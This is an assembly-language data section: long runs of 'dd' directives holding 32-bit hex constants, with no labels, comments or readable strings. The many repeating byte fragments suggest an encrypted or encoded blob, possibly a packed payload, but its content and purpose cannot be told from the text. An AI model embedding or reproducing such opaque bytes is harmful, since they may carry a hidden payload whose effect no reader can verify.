		dd 0B7590F57h, 325675A9h, 3256A958h, 5CDFF4B1h,	3A1739DEh
		dd 2A53BFFh, 433CCD0h, 0EFCF25D9h, 0B1598AD0h, 325675B6h
		dd 325731BEh, 0DAAE5DB1h, 3256AEB1h, 3DBCD6EBh,	3D50ABFCh
		dd 3256C13Eh, 325903B1h, 583875B1h, 70A0C386h, 56044E1Eh
		dd 78266BDBh, 0BC593727h, 3256ABB2h, 88592531h,	30B42D3Eh
		dd 0ABD3B3D0h, 645343A9h, 0FBD73BD1h, 0B33033A3h, 5392E677h
		dd 2D3B92D9h, 35DFDA65h, 3D56EAB1h, 32567438h, 87A943B1h
		dd 37AF5560h, 22D32349h, 0DB53AB74h, 3256ABA2h,	0A3B860F7h
		dd 0F4F31631h, 75044900h, 0D57B36FAh, 0CD122E5Fh, 325A4761h
		dd 0FC9557B1h, 67207B55h, 0B928F688h, 3D04AA6Ch, 32566F35h
		dd 3CBEDAB1h, 3D565DB1h, 0D963715Eh, 0F2204295h, 24A190A3h
		dd 89308EEEh, 6237081Dh, 0B2561D44h, 58AABAB1h,	80A9A8B1h
		dd 3456803Eh, 32565858h, 0C9F2EBB1h, 43B5109Eh,	0BA3E941Fh
		dd 89CDD67Fh, 0BD596A4Eh, 32565DBDh, 0DCD7C8D1h, 13ED2DDCh
		dd 534DC684h, 0DB0C2CE9h, 3256EAB4h, 545013ECh,	0B256D208h
		dd 0DB365DB1h, 3256AEA3h, 0E9A7331Eh, 125F4E58h, 3E198D10h
		dd 0DDF76B96h, 8D59E220h, 8636DB6Bh, 0C0E952C3h, 0DB56C4D0h
		dd 325657BDh, 66D214BDh, 3D2BE27Fh, 0F06AABF2h,	31EC74Eh
		dd 5436BCB1h, 8D59963Ah, 0E2A9CF62h, 325DD6BEh,	34BFABB1h
		dd 0F956D5B1h, 0A18ED6A6h, 325E9C4Ah, 0A9ECBAB1h, 5B1A9DC1h
		dd 0DB3744D7h, 325657A3h, 9708E261h, 7B173321h,	8C476C6Ch
		dd 0B3F87F71h, 3D95CADBh, 32565A36h, 33DBA1B1h,	0CA5657B1h
		dd 0C0D6CBE4h, 0FADDB32Bh, 0DBBA61D0h, 325675BAh, 0CB8B404Ch
		dd 8466AF9Ch, 52E28A2Dh, 31DA58D1h, 5456ABB1h, 0DA372B3Ah
		dd 3256EAB1h, 8DBCF4EBh, 3D50BAFFh, 32564C39h, 325A47B1h
		dd 593157B1h, 0D6AB2B29h, 3AABA988h, 5436C80Bh,	548B060Eh
		dd 5386860Bh, 3D5E283Ah, 3256A23Dh, 34D958B1h, 3D56ABB1h
		dd 3256D532h, 17D2E5B1h, 525675B1h, 3256B559h, 94D6C6B1h
		dd 285291DBh, 8A8D0D95h, 51D094EDh, 325F3CEBh, 0BFFCEAB1h
		dd 559D94FBh, 532E418Eh, 32595859h, 325E47B1h, 3AD257B1h
		dd 6C299E8Ah, 3D034B32h, 3256EF3Bh, 0B9AF15B1h,	0A0A9DB41h
		dd 345672F4h, 6B05CED1h, 31DA58D0h, 3D56ABB1h, 6F37020Eh
		dd 325965BEh, 38BF75B1h, 1756BAB1h, 486A44E2h, 0CF1E3BA6h
		dd 3E236C4Dh, 0CDF82EBEh, 0BB592A4Eh, 3256EAB9h, 5586F4D1h
		dd 533B26FEh, 32565058h, 0C55491B1h, 727367E6h,	0AE258D68h
		dd 0A1BE6082h, 0DB56EABFh, 325675B4h, 43356999h, 0CE37A89Fh
		dd 3A945778h, 3245BEB1h, 0F64ABB1h, 4D90EED2h, 94B07548h
		dd 45E82B51h, 541C5AE3h, 0B9AE08C4h, 0F6D55B5Dh, 0B859374Dh
		dd 3256ABB4h, 919CD209h, 0E4E98CA0h, 0CB00148Bh, 0F1D7DCD1h
		dd 3D054E8Ah, 3256AE36h, 653709B1h, 3256A158h, 236284B1h
		dd 9048FFCDh, 619C8B13h, 3256A858h, 73D5EAB1h, 0B0100BCDh
		dd 80C7C777h, 808D2F55h, 0DA5A3B07h, 3256EAB1h,	2DBCF4EBh
		dd 0DB50BAE1h, 32565DA5h, 0E7FF3C28h, 4CCA07A2h, 0D032E1FFh
		dd 3E977536h, 0B3555C20h, 32567958h, 751424B1h,	5E68AFCAh
		dd 9ECE99B2h, 47DDAFCDh, 33D3A4B9h, 0C756D5B1h,	0DB46973Ah
		dd 325675A1h, 1779E18Fh, 6848E054h, 5776030Ch, 578FC668h
		dd 0C70057E6h, 3254DE59h, 23BF8AB1h, 0F75675B1h, 0CB978D13h
		dd 4315A288h, 681ED2BFh, 723C2676h, 3BBFCBD0h, 0E356D5B1h
		dd 933C0266h, 135D0CB3h, 25395030h, 393705C2h, 16D2A171h
		dd 3D5657B0h, 3256B23Fh, 32423CB1h, 0AAFFEAB1h,	506C53EFh
		dd 6D410ECFh, 6F9E912Eh, 0A5985A0Fh, 0CADD2267h, 3256A358h
		dd 0BDD8D1B1h, 88B2C24Ah, 0B33015F7h, 3DA3E560h, 32565F33h
		dd 5337CEB1h, 325BBEE4h, 0E74EABB1h, 0F8EBACCDh, 0B8CAF67Eh
		dd 0CD74CD00h, 3279FF23h, 325FB4B7h, 6F36AEB1h,	0D9EC34B7h
		dd 6F1145A2h, 0B959B5D1h, 3256EAB1h, 32479CD0h,	381CBAB1h
		dd 682EB711h, 0CF158566h, 0C7F66C44h, 53E9DB31h, 3D5AA08Ah
		dd 32567C35h, 0B93080B1h, 324453AFh, 931F5DB1h,	4AC86316h
		dd 0DD9FC79Fh, 92291CD8h, 952DBF8h, 3DA60D31h, 32566E33h
		dd 21BEDAB1h, 0CB565DB1h, 313F6DC9h, 0BAAC5193h, 0F5947BA1h
		dd 746BB298h, 530F445Bh, 21BF6B3Bh, 6D56BAB1h, 7D1AA3FDh
		dd 0A7936E1h, 63718BFFh, 75A08FC7h, 0D1D623DEh,	2CD5E541h
		dd 3D5675B1h, 3256A23Ch, 3245B4B1h, 4A57AEB1h, 29815D0Ah
		dd 88683338h, 2916689h,	83364204h, 17509D07h, 0DBAFBAB1h
		dd 0CDA9A319h, 3256A858h, 2B1E06B1h, 0BB8B2ABAh, 0DAAA29CCh
		dd 0CDA91C3Dh, 32567B58h, 53F4EDB1h, 0C6196D50h, 0B9691918h
		dd 0DBB574BDh, 3256ABA2h, 0FCC4C974h, 0EA167494h, 0BDA5AC66h
		dd 0B403CF27h, 6999DFE8h, 325723BEh, 6DA357B1h,	3256AC58h
		dd 2821A3B1h, 0CF3FDFE4h, 2CD57AEFh, 3D56BAB1h,	32564533h
		dd 324547B1h, 0EBF257B1h, 5D421703h, 718DB62Ch,	0C5298E9Ch
		dd 0BA317B1Bh, 0CE1331C6h, 32565558h, 0BE0D4BB1h, 0C184CDECh
		dd 23BF626Fh, 0B656D5B1h, 47DC2242h, 8ACE46A0h,	0EBB154C2h
		dd 2E372AD2h, 0DB56A273h, 325657A5h, 0AB471084h, 46444E3Dh
		dd 5DD25242h, 0FE0D50FCh, 8032A075h, 21DE52E4h,	0DB56AEB1h
		dd 325657BFh, 0FB547A48h, 45DB0CD8h, 4A89CEAh, 0DEDD59C2h
		dd 0CA923948h, 325DDCBEh, 34BFAEB1h, 8F5657B1h,	73A68B43h
		dd 24D5DA02h, 0DB56EAB1h, 325675A0h, 488E971Eh,	3025510Ah
		dd 0A4A79792h, 0D4A15C46h, 3BBFFC3Fh, 4656D5B1h, 6FB9177Ch
		dd 2AE79F3Ah, 63AAEC48h, 0CB37A5D1h, 37BECEE2h,	0FF5657B1h
		dd 8FAB10A0h, 540D5D03h, 52373D3Ah, 3256F4BEh, 3DBEBAB1h
		dd 0D565DB1h, 0F92BF5E5h, 8DBB6D82h, 2D1D53CEh,	20BE407Ah
		dd 8A56EAB1h, 97D54E3Fh, 5EF1F092h, 161B61ABh, 288C3AB6h
		dd 530F092Bh, 32AEEE76h, 5256D5B1h, 3DAF55BEh, 32566139h
		dd 325953B1h, 4EB35DB1h, 0B9C3AE58h, 0CD222993h, 91420BA5h
		dd 0B091B4A8h, 3456DAC4h, 325675B0h, 3A233148h,	3251D7BEh
		dd 0BE59AEB1h, 325657B0h, 3242424Dh, 0CA55D5B1h, 2C552F3Eh
		dd 25E7B631h, 0F2F21D23h, 4F3522C1h, 0B930E932h, 3244BEAFh
		dd 0EDE9ABB1h, 5FA34F4h, 0BB25C3AAh, 0ADE65A71h, 0F040DAA6h
		dd 1CD9E73Ah, 5436A8B1h, 3D0CDF0Ah, 3256AB3Bh, 6DDDB4B1h
		dd 0BB598AB9h, 325675B3h, 0B359DBD1h, 32565DB7h, 914C6D30h
		dd 39375154h, 69D2A46Ah, 0CB56D5B1h, 0B759348Ah, 32567598h
		dd 292803D1h, 0C7372B0Fh, 0DB5AF33Ah, 325657BAh, 1C641222h
		dd 6CD32E3Bh, 0BBD5EF38h, 0B33679EEh, 0F2D6A55Ah, 0CBE152AEh
		dd 26912DD0h, 32565958h, 699974B1h, 0A716449Fh,	0E703D0FAh
		dd 0DBA7BF86h, 0CDA94523h, 32565458h, 0B6A04DB1h, 0A4E16D2Ch
		dd 0B93019DCh, 0C9D620AFh, 0BD2E559h, 3D5675B5h, 3256A73Ah
		dd 25DB52B1h, 0DB56AEB1h, 325657A3h, 0D3A7C169h, 0ED904E11h
		dd 36AD4F3h, 42239658h,	0C9D602ABh, 3FD25258h, 3D56AEB5h
		dd 32564C36h, 22BECBB1h, 7D56D5B1h, 0A87E0B58h,	0C20F818Eh
		dd 0AA02F491h, 6B899292h, 538D19BEh, 3DBDAC31h,	32554835h
		dd 0F5D7B5B1h, 3AA5ECBh, 3253F6BEh, 0B330BAB1h,	53FD3443h
		dd 3DB45531h, 3255F335h
		dd 324742B1h, 0F5ADD5B1h, 105F3D39h, 23845575h,	0CC24C263h
		dd 0B286DBABh, 0B6594D4Ah, 325654FDh, 3256B958h, 2CB86DB1h
		dd 5B596934h, 53DBBE26h, 260B742Bh, 5465AA7Fh, 0D1315530h
		dd 3135D3BEh, 52A3ABB1h, 63896ABEh, 3256E158h, 5402E9B1h
		dd 8E230D1Eh, 2CFBE6D0h, 0D5D6CFEBh, 25DD5841h,	5256ABB1h
		dd 3256D958h, 0CA87C5B1h, 0DB44DBECh, 5C60F9FFh, 35E83B6Fh
		dd 54AFCFB7h, 0B259AC30h, 31142FBEh, 0B336D5B1h, 23D6F57h
		dd 0D1D614D6h, 21DAB541h, 0DB565DB1h, 3256AEBFh, 0C97906CFh
		dd 41F0A039h, 2F58D5ADh, 0C9D66C4Ah, 27D27AC1h,	0DB56BAB2h
		dd 32565DA5h, 750265B1h, 0C87F579Ch, 55DF8B90h,	0A443116Ch
		dd 840E2842h, 0DB48FED7h, 3256BAA0h, 0D19537C3h, 0C86F9466h
		dd 81824A60h, 756E0512h, 0CAB55500h, 0C9D61644h, 4FD27A09h
		dd 0CE56BAB0h, 37DA52D1h, 8C56AEB1h, 60EF61B6h,	1C892AD7h
		dd 0CD6B47Ah, 53D2E5B4h, 0DB5675B0h, 3256BAA2h,	2181AF7Bh
		dd 68C4BEEBh, 9F79A4C8h, 0AE83133Bh, 0B20A3EBCh, 0B659C78Fh
		dd 325674F1h, 3256AE58h, 8E0466B1h, 0CAB9FC85h,	821406EAh
		dd 0B3B53E19h, 40EF86F4h, 38DFE584h, 525675B1h,	0B259DBD1h
		dd 32565DB1h, 5A682ED0h, 3358D3BEh, 0CDAEABB1h,	3266A033h
		dd 3CD1E5B7h, 0DB5675B1h, 3256BAB8h, 8F558FFBh,	10084ADh
		dd 2CDD31E6h, 827210D1h, 0ECDCAF57h, 0CAB16AD0h, 0C9D71344h
		dd 0B6595230h, 32565D69h, 78992ED1h, 539DDCD7h,	71A52AD1h
		dd 0B955C980h, 0B9308B48h, 32509CAFh, 0AC94BAB1h, 8892B136h
		dd 0C7A64931h, 0B3ADD6D7h, 9BD2A471h, 0CA56D5B1h, 0B55913D1h
		dd 325675B7h, 0DCD642D1h, 3D033CF8h, 3256A53Bh,	0D1D737B1h
		dd 13C7A75Ch, 539D62BEh, 77C41549h, 3D50759Eh, 3256A532h
		dd 2BD752B1h, 0DB56AEB1h, 325657A5h, 0A4356925h, 0BC2F8A50h
		dd 0A3BD1A9Bh, 0E28EC6AAh, 99BE546Bh, 85593DECh, 31D7A14Ah
		dd 0B25657B1h, 0BB375240h, 0BC5929F4h, 3256EAA8h, 32566158h
		dd 55104AB1h, 0E0719A01h, 41682D0Fh, 0A9451125h, 8B2180BAh
		dd 0B559B47Fh, 3256EABBh, 0B3C8C5D1h, 0FDE10977h, 4FD53CDDh
		dd 0B759AF4Dh, 325655F6h, 32572FBEh, 52AAD5B1h,	79A06BD7h
		dd 53AEFE6Ah, 2B97003Ah, 0B1595848h, 3256AE9Fh,	3242BFD1h
		dd 0EBA2ABB1h, 0ADAD6193h, 1738F539h, 0F4A19E4Fh, 58C1C842h
		dd 0DA0D5A87h, 3256AEBDh, 0EE2BA519h, 0FDDB50Dh, 8F2828B3h
		dd 34BF8BE9h, 95675B1h,	2619EAEDh, 52A30DC1h, 0E45A14D7h
		dd 47D4DCD0h, 0CA50AB81h, 0CE66E988h, 0EAD4E5E9h, 0DB5675B0h
		dd 3256BAB8h, 0EB44E3E2h, 0F5F1E551h, 9BECDC05h, 3D5352B4h
		dd 3256C13Bh, 325903B1h, 8B8B75B1h, 608FBE25h, 908CD1B3h
		dd 0DBA1E77h, 35BF0727h, 0FA56ABB1h, 7CCF26B2h,	0B0DDA582h
		dd 345645C4h, 26A8348h,	325DB4D1h, 7CDBAEB1h, 4EF9B22Eh
		dd 0F2B8892Ah, 0EDD7836Bh, 63E4FFF8h, 3D0E14E9h, 3257C83Eh
		dd 33D452B1h, 0CA56AEB1h, 3256D058h, 325D42B1h,	0BF5ED5B1h
		dd 7455C701h, 0D181B771h, 27D1B57Ah, 0DB565DB1h, 3256AEA1h
		dd 0B5080CAEh, 4699B99Dh, 5FA2A6AFh, 17719AA9h,	30AE3076h
		dd 5256BAB1h, 3254D1BEh, 6C01AEB1h, 3210BED0h, 0DA36ABB1h
		dd 3256D5BDh, 9FB8F3F4h, 25BA5DA2h, 867FD896h, 325FB5E9h
		dd 2DD8AEB1h, 1D72E265h, 6DE93BA5h, 0CA1312D0h,	3256EAB0h
		dd 3240F7BEh, 0B959BAB1h, 32565DA1h, 3256A558h,	0DA9EC6B1h
		dd 73229344h, 3BAEF87Eh, 1CD9503Ah, 0BC5973B1h,	3256BAB0h
		dd 2DDDA449h, 3256A458h, 6D0C27B1h, 0AC7B09h, 390E8EE0h
		dd 8AD2E56Ah, 0CE5675B1h, 0B759648Ah, 32565D38h, 325727BEh
		dd 0B9AA57B1h, 0BA59A7ECh, 3256D5BDh, 32506ABEh, 0BA5975B1h
		dd 3256BAB1h, 32AE2032h, 326C2ABEh, 643657B1h, 820FF3E6h
		dd 6F55B41Bh, 32580349h, 8C575B1h, 0ACBBC97Ch, 6BC056A9h
		dd 7110EA43h, 3240DABEh, 23BFABB1h, 5356D5B1h, 0C06F68DAh
		dd 1EEC7FD5h, 4F626766h, 0E40160CFh, 3D52F138h,	32565F3Fh
		dd 30DBA4B1h, 5256D5B1h, 324503D0h, 365A75B1h, 222BE420h
		dd 4E6CD4Eh, 0A8E4997Ch, 0DA2C2880h, 269128C6h,	0CD1A3C4Dh
		dd 0BC59154Eh, 325675B9h, 32D0B5D1h, 53565DB1h,	0DBA36E82h
		dd 32565393h, 32572DBEh, 54A3D5B1h, 5236F43Ah, 58EE7A03h
		dd 5335BCEAh, 0B9378900h, 3DBFA2CCh, 275657B1h,	0B439FC3Dh
		dd 0DEC50EA2h, 0F4468461h, 0C9D6AF07h, 63D2B55Ah, 3D565DB1h
		dd 3256A733h, 0C8DD37B1h, 0CF992AD7h, 0D1D6B4FFh, 0C9D61641h
		dd 0B8D27AC1h, 3D56BAB1h, 3256403Eh, 25DCA1B1h,	0DB5657B1h
		dd 3256ABA3h, 0FE29E64Fh, 0ADF0B599h, 469E983Ch, 0D5837FE0h
		dd 0DCBF0637h, 0DB56AEB1h, 325657B9h, 8F277BC4h, 7043F83h
		dd 0C7BFED77h, 32573276h, 5256BAB1h, 32565B58h,	0B503D2B1h
		dd 0B85F8EDCh, 0F5DDCA70h, 0B9A55FD1h, 0F2D58B41h, 32449CB4h
		dd 0DF54BAB1h, 717A1BE6h, 7686CCFDh, 62226E9Dh,	0EDB16FC6h
		dd 32558C58h, 325903B1h, 1EEA75B1h, 93257BC0h, 92CB8718h
		dd 0D955AEB6h, 3591318Bh, 39BFA3BEh, 6256D5B1h,	0A47028D8h
		dd 0E20B47FFh, 2CDC9098h, 33DF5248h, 0C756AEB1h, 5259B431h
		dd 0B99720D7h, 0F9D6B468h, 23BF1231h, 185675B1h, 0E9CA2157h
		dd 2F7B4FDBh, 6F7075E9h, 6174098Dh, 5257F439h, 53AA2F3Ah
		dd 3254AD76h, 0C75675B1h, 3256B458h, 0F4A9CBB1h, 0E0A24C7Ah
		dd 5D107F2Ch, 0B96A188Eh, 325C3C76h, 54DEAB1h, 3E117871h
		dd 0B99EC0EEh, 52509D32h, 0CBDD6C3Ah, 3096BED0h, 0B159ABB1h
		dd 3256D5B0h, 0CD78C44h, 0B659E521h, 3256BAF5h,	0A268DD48h
		dd 320C2BBEh, 39BF57B1h, 0FC56ABB1h, 0E1AC06C0h, 2F89ED84h
		dd 0B33068B3h, 0A2C645CFh, 3248D9BEh, 0BB59AEB1h, 325657BAh
		dd 75902BD1h, 0D171730h, 0DB37E6F9h, 32567599h,	325430BEh
		dd 53365DB1h, 0BC59693Ah, 325657B0h, 300A4244h,	0B559D5B1h
		dd 3256EABDh, 32567258h, 86DF25B1h, 32B70CA9h, 3352C3Ch
		dd 0BA5951B1h, 3256ABB5h, 536362D1h, 0DB0012E1h, 325675BBh
		dd 0F9316D97h, 5E49F8Ch, 0A0A97E60h, 345678EDh,	3D96A049h
		dd 3256EA35h, 324703B1h, 2F9E75B1h, 34369DF4h, 499FE9F9h
		dd 6E66F65Dh, 0B9BB9C86h, 32504279h, 48FFD5B1h,	0FBC1CD43h
		dd 335C73Ch, 0BE59BCB1h, 32565DBBh, 3256AB58h, 0B39DACB1h
		dd 0BFBF7E2Ch, 0CB56D5B1h, 0FCDD12E7h, 32567D58h, 0DCE84DB1h
		dd 2C9D6FF5h, 0B059FBA9h, 325657ABh, 324542D1h,	48FAD5B1h
		dd 5B310F56h, 0BAF8464Eh, 92B3EC75h, 64BE8ECEh,	0A0A9CFD0h
		dd 345678F4h, 3250424Dh, 0E28AD5B1h, 8E54488Fh,	33D87AECh
		dd 0CE56BAB1h, 0B659939Ah, 3256AEA0h, 325DDCBEh, 34BFABB1h
		dd 5756D5B1h, 190CBED1h, 3D8F8235h, 3256AA36h, 325DB4B1h
		dd 0E7BAAEB1h, 0B3493649h, 0BDBCEAD8h, 3BBF8B96h, 0C956EAB1h
		dd 8E11080Eh, 0D9DBBFEAh, 33AE2032h, 32C82BBEh,	35BF57B1h
		dd 1156ABB1h, 0A0A76D8h, 5436E244h, 2AC28430h, 0DB1F0AD0h
		dd 32565DA2h, 14AE9AC3h, 31CDDCDDh, 68127D25h, 0B69E04Ah
		dd 0CEE043A4h, 325D9C1Bh, 715FBAB1h, 0C24B88AAh, 84091695h
		dd 3DEE3180h, 99305734h, 324655BEh, 39BFEAB1h, 0FC5675B1h
		dd 1A445D50h, 0D053E24h, 84599A86h, 0BA5956F7h,	3256ABB9h
		dd 32545CBEh, 5336EAB1h, 35BF151Ah, 0B156BAB1h,	8B0D3D83h
		dd 85599E1Bh, 9CBF364Bh
		dd 0DB56ABB1h, 3256D5A5h, 0E469C673h, 83034B3Ch, 8E610DA0h
		dd 6DB06B9Ah, 63EDDB65h, 30AE2A32h, 32202EBEh, 34BFD5B1h
		dd 0EF56EAB1h, 4EE9010Fh, 39EEDCBAh, 0B3303D78h, 3D1BA642h
		dd 3256573Dh, 9930CAB1h, 0F3DDB549h, 325268BEh,	883075B1h
		dd 5437E512h, 0CAD25209h, 3DAA05D7h, 3256443Ah,	325842B1h
		dd 0FDC0D5B1h, 30E97019h, 747373C6h, 0E2A242B3h, 3310EBBEh
		dd 32512FBEh, 0B45957B1h, 3256ABB0h, 0DBAF7E49h, 3256EA94h
		dd 32567E58h, 583BA4B1h, 5B9D7E05h, 5420A8Ah, 3D36F342h
		dd 3256A836h, 0E8DDB3B1h, 32DEE5E6h, 6C5675B1h,	0DB9131D0h
		dd 32565DBBh, 81D727C3h, 0DA5FEA6Fh, 520D108Dh,	538862BEh
		dd 8D598AE8h, 9BB9F543h, 0BB59E4D0h, 32565DB0h,	0FBAAF144h
		dd 0F9E831D1h, 0CBB72A91h, 5378BB6Ch, 5256E273h, 32566458h
		dd 1B5DDBB1h, 7E18F572h, 0F387188Eh, 289FE2E2h,	0F0DDA5C6h
		dd 3ABF80D0h, 3156EAB1h, 26AED7FDh, 0B99C5B8Ah,	0CA36A15Dh
		dd 3256AE59h, 0D8D70DB1h, 3456F661h, 32DEDAD1h,	6156EAB1h
		dd 3256FABEh, 5309BAB1h, 32565858h, 618D7DB1h, 77DD86C6h
		dd 0B0DF57B9h, 3456FB5Eh, 0F9DD8CD1h, 32567A58h, 63A196B1h
		dd 0CB1AED57h, 0E66F622Fh, 4FB0E34Eh, 0B359CAD0h, 3256D5B0h
		dd 0F0AF234Dh, 0B83675B5h, 34D4B54Bh, 0B3565DB1h, 0F9B7F379h
		dd 0CA0336B7h, 0B559473Ah, 3256D5A6h, 3256F858h, 0A910B9B1h
		dd 66C0C68Dh, 1FF3F0D1h, 715B2A57h, 0B1D73A4Eh,	0B2595375h
		dd 3256D5B6h, 325766BEh, 52AA75B1h, 0DBD6DAD1h,	5341EEF4h
		dd 3256BD58h, 15B224B1h, 35E3E258h, 4A7B9AEEh, 0F3D11366h
		dd 122F1C98h, 32BE42D0h, 68565DB1h, 6CDC4430h, 0B05951B1h
		dd 3256ABBDh, 325059BEh, 0B659EAB1h, 325675B1h,	324653D1h
		dd 23A55DB1h, 5848A390h, 652D5DB6h, 4ACE58E5h, 0B05940A9h
		dd 3256EAB7h, 0BE31AE30h, 0F5379EDAh, 3256A5F4h, 3CBFAEB1h
		dd 0EB5657B1h, 81ADF38Ch, 0D5C789h, 98EFB1D1h, 0CE13B281h
		dd 3256BAB1h, 325EDCBEh, 0B336AEB1h, 0EE0A6943h, 0F265CAB6h
		dd 78ED86D1h, 6818658Dh, 5437AF3Ah, 0F5AAA43Ah,	32662833h
		dd 3256AFB7h, 3247BEB1h, 0E926ABB1h, 597EBDAFh,	5EEE616Ah
		dd 0D59A3904h, 5497C2A6h, 0A2C6A630h, 324F2BBEh, 26BF57B1h
		dd 156ABB1h, 6A143C4Fh,	366E4F87h, 0FCC3608Ch, 0A7D85097h
		dd 0B2157258h, 0B659464Ah, 325653C8h, 3256A558h, 966528B1h
		dd 0C4FA00BDh, 0C3CC876Eh, 72C0CF00h, 53D9EAD1h, 3DBF5531h
		dd 32520F35h, 35D3A4B1h, 3D56D5B1h, 3256EB35h, 3D368CB1h
		dd 3256BB3Ah, 0BD59A4B1h, 3256AEB4h, 5047DB09h,	3D16CAECh
		dd 3256F635h, 3FBF8AB1h, 0D85675B1h, 454B0851h,	263515DAh
		dd 54FCB115h, 32565E59h, 0C7D2FB1h, 0BB1EB4DAh,	5309C56Eh
		dd 3DBD8E31h, 3252BE35h, 3AD852B1h, 5256AEB1h, 5497E0BEh
		dd 7237603Ah, 0C2B1554Dh, 33DBE548h, 0CB5675B1h, 3DAD3BD7h
		dd 0ECD25231h, 5256AEB2h, 212D9F30h, 0DB368E9Bh, 3256D5BFh
		dd 0ED5F0022h, 0DEB8231Eh, 1C2180ECh, 35BF80C4h, 2356AEB1h
		dd 0F797DC13h, 5337F4F4h, 231357B2h, 0B059EF48h, 325675BDh
		dd 325035BEh, 0B9595DB1h, 3256AEB1h, 3AD158F1h,	5256ABB1h
		dd 3D690531h, 0B2371006h, 0B659974Ah, 3256B9CCh, 3259B44Dh
		dd 3364AEB1h, 0F4F5DC45h, 0DD50FAA6h, 0AE9ED01Dh, 0D1AD6AC7h
		dd 3113F1BEh, 6436BAB1h, 6887D6D7h, 82744830h, 5437352Ah
		dd 0D1315030h, 311151BEh, 3CBFEAB1h, 0F05675B1h, 4AFEC7D7h
		dd 0FCD42339h, 0CC912FE4h, 0D1D6A2A4h, 58EECB41h, 6149CBD6h
		dd 0D5AACB08h, 0B2372C81h, 0B659CA4Ah, 32565E90h, 2CDDC844h
		dd 324FD3BEh, 26BFABB1h, 0E756D5B1h, 0A5189F48h, 0FC46D3E7h
		dd 6154798Ah, 3348CFFDh, 0B2141499h, 0DB36AF52h, 3256ABB9h
		dd 0E4746614h, 3E2E76FBh, 3D3715D1h, 3256BA34h,	52373CB1h
		dd 8A305A3Bh, 0B2375D86h, 0B659134Ah, 3256D4E9h, 325D65BEh
		dd 8B3675B1h, 7C7406FAh, 0F3B6E4D7h, 325847D0h,	49B657B1h
		dd 8E712A04h, 1BADEB0Ah, 0B5EBCEA2h, 3D534B31h,	32579135h
		dd 325EB4B1h, 6C60AEB1h, 0EC40B385h, 0CD6CB9Bh,	27D2DA9Ch
		dd 0CE56EAB0h, 3D3E4B31h, 3257B135h, 33DD52B1h,	0CA56AEB1h
		dd 0B0A9AFF1h, 34569BC4h, 0E49D55D1h, 69EB5B0Bh, 0B93014ADh
		dd 0D5D642AFh, 0C2DD3D49h, 324024BEh, 23BF57B1h, 6256ABB1h
		dd 508973AEh, 3BC78340h, 7BCCAFA5h, 0FDE08FB1h,	0C9D73BD0h
		dd 0B6594630h, 32565771h, 324525BEh, 0B759D5B1h, 3256EABCh
		dd 32567D58h, 9FDE67B1h, 0CEA3998Ch, 23BFCEF9h,	0F05657B1h
		dd 162B61AAh, 21186C46h, 216E7072h, 0CC4F40B4h,	0CC5B00Fh
		dd 0B9303CFBh, 37BFCEAFh, 635657B1h, 9926E728h,	0EE617509h
		dd 0D5D68BA7h, 0B3308D41h, 3D963B4Ah, 32563A35h, 0BC5956B1h
		dd 325657BDh, 32502CBEh, 0B859D5B1h, 3256EAB1h,	0DB0380D1h
		dd 3256BAB9h, 0C7DF33CAh, 6623719Eh, 1D13C54Eh,	8736ADB1h
		dd 32D0DAC1h, 5356EAB1h, 77DF80ECh, 20DAB54Dh, 0DB565DB1h
		dd 3256AEBCh, 700EE968h, 0D7509C80h, 320322A1h,	0B1A38BF0h
		dd 3D5789CCh, 32532534h, 3250B4B1h, 0FBF3AEB1h,	0B7F5371Bh
		dd 2B97113Ah, 62AAD048h, 47D4614Dh, 0DB507581h,	3256BABBh
		dd 6B47A6B7h, 85B2AD1Ah, 0E6F6F21h, 3D0E5E81h, 3253BE33h
		dd 324603B1h, 51C475B1h, 4224D857h, 3D8254E0h, 71E1A381h
		dd 88DD0A58h, 37AFAE18h, 3D815FD1h, 3256EC30h, 0C08DF4B1h
		dd 537FD578h, 3FBF3DE1h, 1056AEB1h, 0FD46FA9Ch,	0A1D41E33h
		dd 45AABFD4h, 0B937AF02h, 32660033h, 325053B7h,	46525DB1h
		dd 86362B8Ch, 52666B88h, 0B3E45D30h, 0E4D78F9Eh, 28206C56h
		dd 0BD592DD0h, 3256BFB1h, 0F2D73BD1h, 38BF339Eh, 0DA5657B1h
		dd 0A50B0809h, 84AF212Eh, 0B9AA8B6Ah, 3278AD0Bh, 0B0D546B7h
		dd 34567369h, 324647A5h, 215757B1h, 0D730516Dh,	0EEB0E001h
		dd 0B63F20EEh, 5DF927Fh, 3BBFDA44h, 20565DB1h, 0B3EFBE36h
		dd 714904F2h, 221122D0h, 32463C48h, 0DADFEAB1h,	0DDBB1F0Dh
		dd 0BD32873Ch, 5E7DFFC0h, 0DB063CEFh, 325657A2h, 5D9214FDh
		dd 8FF959BCh, 0EB2E55A1h, 0AB15529Fh, 0CBCB738Fh, 223DF3Ah
		dd 0B9AEA8B1h, 3DBF67ADh, 9C56ABB1h, 4B26BF30h,	0BA96A6B8h
		dd 6117E567h, 0CA0E3D84h, 525E0238h, 0AE962FD7h, 32D95840h
		dd 5356ABB1h, 32529E58h, 3AD9E5B1h, 525675B1h, 325631BEh
		dd 0F5375DB1h, 325456F4h, 0B15957B1h, 3256ABB0h, 32593C44h
		dd 0B359EAB1h, 325675B0h, 0CA137D49h, 32565DB0h, 0EAEC254Dh
		dd 3D50579Fh, 3256B23Ch, 32423CB1h, 34FCEAB1h, 6F97C603h
		dd 0DB4F7C0Ch, 464E3C6Ah, 0CACCADD0h, 0B0D528EDh, 34568569h
		dd 29D2DAA5h, 5256EAB1h, 32566158h, 1DD079B1h, 0DDBD6B57h
		dd 6CD68D0Ah, 755FB56Fh, 948494F9h, 5DFB465h, 32446EBEh
		dd 0B75975B1h, 3256BABDh, 32565A58h, 54FA54B1h,	2D74A506h
		dd 0CA46EC38h, 324259BEh, 3DBFEAB1h, 375675B1h,	470B3337h
		dd 8370EA7Bh, 271FA72Dh, 0CAD553C8h, 75D3A4B2h,	5256D5B1h
		dd 36CC55D7h, 32566159h, 27059BB1h, 68D5E7FAh, 53616C51h
		dd 738761EDh, 5A420C33h, 6AE5657Fh, 47D42DD0h, 30507581h
		dd 0CA56BAB1h, 32561758h, 324647B1h, 8CA457B1h,	0FAE5A012h
		dd 0C0B9B97Bh, 692C92BBh, 0CAD5D29Ah, 0ECDBB5B3h, 3D565DB0h
		dd 3256AF39h, 0BA59ABB1h
		dd 3256ABAEh, 324F5BBEh, 26BFEAB1h, 835675B1h, 0F317943Ah
		dd 0CB61B92h, 709E3503h, 0E7685AF0h, 0B19FF173h, 3D562DCCh
		dd 32567935h, 325C9CB1h, 7DE0BAB1h, 5AE1712Bh, 35FDD3CAh
